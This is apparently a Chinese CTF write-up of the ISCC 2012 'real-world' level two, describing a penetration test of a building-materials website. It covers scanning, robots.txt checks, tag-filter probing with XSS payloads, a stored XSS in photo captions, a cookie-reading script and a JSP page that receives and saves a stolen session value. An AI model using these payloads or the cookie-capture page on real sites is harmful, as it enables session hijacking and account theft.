ISCC 2012 真实关第二题

来源:互联网 发布:通达信炒股软件好用吗 编辑:程序博客网 时间:2024/06/11 19:52

先抱怨一下,比赛网站移植的系统有很多功能不能正常使用,推荐使用原网站http://bitaec.com/进行测试。

第二关是对一个建材网站的渗透测试,习惯性的拿出wwwscan一顿狂扫,只发现一个有价值的目录。http://bitaec.com/robots.txt

这是对网络爬虫的一些规则设置,爬虫会首先检查,网页根目录下有没有robots.txt,

可以置一些你不想让搜索引擎收录的页面,不然爬虫会浏览所有不被密码保护的页面。很多情况下,其中的信息会指明网站的敏感页面。

具体信息看这http://baike.baidu.com/view/1280732.htm。

不过这个网站中的robots.txt没有任何内容。

又尝试了基本的注入,未果。

这时发现有一个博客,可以留言,觉得有可能存在xss,尝试很久依旧,未果。

发现过滤了关键的标签,和一些标签中的关键变量。

<script>alert('xss');</script>    //  no<img>                             //  no<b>                                  // yes<area shape="rect" coords="0,0,110,260" href="sun.htm" alt="Sun" />               //no

最后终于在建材提供商相册图片注释这里,找到了xss,不过网站的sessionID被设为了httpOnly,比较蛋疼。

其实一般httpOnly属性的,很可能是seesionID

这里多说一下站点的cookie比较多,百度了一下,发现它使用了百度流量统计这个东西。

具体看这,http://www.ichenyuan.com/?p=147

但是还是把流程简单的实现了一下。

获取cookie的js这样写,js是没法获取指定名称的cookie的。

<script>var aCookie=document.cookie.split("; ");var flag=1;for(var i=0;i<aCookie.length;i++){var aCrumb=aCookie[i].split("=");if("_gcj_session"==aCrumb[0]){ alert("haha");flag=0;}}if(flag) alert("NoFound");</script>

一个接受参数并储存的jsp可以这样写

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%><%@ page import="java.net.URL"%><%@ page import="java.net.HttpURLConnection"%><%response.setContentType("text/html;charset=UTF-8");response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY);response.setHeader("Pragma","No-Cache");         response.setHeader("Cache-Control","No-Cache");         response.setDateHeader("Expires",   0); String _uc_session="";_uc_session=(String)request.getParameter("_uc_session");out.println("_uc_session:"+_uc_session);try{File f = new File("c://temp.txt");if(!f.exists())f.createNewFile();BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));bw.append("_uc_session:"+_uc_session);bw.close();}catch(Exception e){out.println(e.getMessage());}%>